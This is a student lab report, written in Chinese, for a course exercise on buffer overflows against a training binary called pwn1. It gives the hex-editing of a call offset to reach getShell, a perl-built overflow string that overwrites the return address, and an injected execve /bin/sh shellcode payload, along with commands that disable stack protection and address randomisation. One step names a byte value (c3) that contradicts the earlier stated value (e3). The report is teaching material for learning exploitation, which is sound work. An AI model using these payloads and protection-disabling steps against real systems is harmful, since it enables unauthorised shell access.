2018-2019-2 20165232《網絡對抗技術》Exp1 緩沖區溢出實驗

實驗點1：逆向及Bof基礎實踐

實踐任務

用一個pwn1文件。 該程序正常執行流程是：main調用foo函數,foo函數會回顯任何用戶輸入的字符串。 該程序同時包含另一個代碼片段，getShell，會返回一個可用Shell。正常情況下這個代碼是不被運行的。實踐的目標就是想辦法運行這個代碼片段。我們將學習兩種方法運行這個代碼片段，然後學習如何註入運行任何Shellcode。

三個實踐內容：

1. 手工修改可執行文件，改變程序執行流程，直接跳轉到getShell函數。
2. 利用foo函數的Bof漏洞，構造一個攻擊輸入字符串，覆蓋返回地址，觸發getShell函數。
3. 註入一個自己制作的shellcode並運行這段shellcode。 這幾種思路，基本代表現實情況中的攻擊目標: 運行原本不可訪問的代碼片段 強行修改程序執行流 以及註入運行任意代碼。

基礎知識

• NOP, JNE, JE, JMP, CMP匯編指令的機器碼

1. NOP：NOP指令即“空指令”。執行到NOP指令時，CPU什麽也不做，僅僅當做一個指令執行過去並繼續執行NOP後面的一條指令。（機器碼：90）
2. JNE：條件轉移指令，如果不相等則跳轉。（機器碼：75） -JE：條件轉移指令，如果相等則跳轉。（機器碼：74）
3. JMP：無條件轉移指令。段內直接短轉Jmp short（機器碼：EB） 段內直接近轉移Jmp near（機器碼：E9） 段內間接轉移 Jmp word（機器碼：FF） 段間直接(遠)轉移Jmp far（機器碼：EA）
4. CMP：比較指令，功能相當於減法指令，只是對操作數之間運算比較，不保存結果。cmp指令執行後，將對標誌寄存器產生影響。其他相關指令通過識別這些被影響的標誌寄存器位來得知比較結果。

常用的Linux基本操作

1. objdump -d：從objfile中反匯編那些特定指令機器碼的section。
2. perl -e：後面緊跟單引號括起來的字符串，表示在命令行要執行的命令。
3. xxd：為給定的標準輸入或者文件做一次十六進制的輸出，它也可以將十六進制輸出轉換為原來的二進制格式。 -ps -ef：顯示所有進程，並顯示每個進程的UID,PPIP,C與STIME欄位。
4. |：管道，將前者的輸出作為後者的輸入。

5. ：輸入輸出重定向符，將前者輸出的內容輸入到後者中

實驗步驟：

• 用 objdump -d pwn1 看其匯編代碼（圖中是pwn3，做完了寫博客截圖用）
  e8表示“call”，後面的d7 ff ff ff是要跳轉的地址，只要改成e3 ff ff ff就會跳到getShell函數（通過偏移量得出）。
• vim pwn1 進入命令模式
• 輸入 :%!xxd 將顯示模式切換為十六進制
• 在底行模式輸入/e8d7定位需要修改的地方，並確認
• 進入插入模式，修改d7為c3
• 輸入 :%!xxd -r
• 將十六進制轉換為原格式

• 使用 :wq 保存並退出 然後 ./pwn1 運行就可以了

  實驗點2：自己構造輸入參數使緩沖區溢出，參數溢出部分為getShell函數的地址

  系統讀入字符串留32字節緩沖區，輸入超過32字節就會溢出，就用溢出的部分去覆蓋返回地址

思路：

• 反匯編pwn1文件找到getShell的地址：0804847d
• 輸入參數，使32字節後面內容為地址0804847d對應的數
• 執行文件

步驟

1. （已知getshell地址為0804847d，）

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input  生成一個input文件，參數已經構造好的

xxd input  可以查看構造的文件.

(cat input; cat) | ./pwn1  命令輸入參數

實驗點3：註入shellcode並執行（RNS)

• 首先使用 apt-get install execstack 命令安裝execstack。 然後接連輸入：

- root@KaliYL:~# execstack -s pwn1 //設置堆棧可執行
root@KaliYL:~# execstack -q pwn1 //查詢文件的堆棧是否可執行 X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomizevaspace 
2 
root@KaliYL:~# echo "0" > /proc/sys/kernel/
randomizevaspace //關閉地址隨機化
root@KaliYL:~# more /proc/sys/kernel/randomizevaspace
0

目標：向foo函數輸入參數，造成緩沖區溢出，改變foo的返回地址，，跳到shellcode。也就是，找到foo函數的返回的地址，將其改成shellcode開始的地址 步驟：

- 使用命令 　　perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

註入，前面32個A用來填滿buf，\x04\x03\x02\x01為預留的返回地址，下面找這個返回地址。

• 在一個終端裏用 (cat input_shellcode;cat) | ./pwn1 註入這段攻擊，回車後不要動這個終端，然後去打開另一個終端。

• 在第二個終端中

1. ps -ef | grep pwn 查看pwn進程號
2. 用gdb， attach 11031 去調試這個進程
3. disassemble foo 命令反匯編，通過設置斷點，來查看註入buf的內存地址：
4. 用 break *0x080484ae 命令設置斷點，輸入c命令(continue)繼續運行，同時在pwn1進程正在運行的終端敲回車，使其繼續執行。再返回調試終端，使用info r esp命令查找地址
5. 用x/16x 0xffffd2ac命令查看其存放內容，看到了0x01020304，就是返回地址的位置。根據我們構造的input_shellcode可知，shellcode就在其後，所以地址應為0xffffd2b0
6. 接下來只需要將之前的\x4\x3\x2\x1改為這個地址即可，用命令

perl -e 'print "A" x 32;print "\xb0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

1. 再用

(cat input_shellcode;cat) | ./pwn1

命令次執行程序，攻擊成功！

2018-2019-2 20165232《網絡對抗技術》Exp1 緩沖區溢出實驗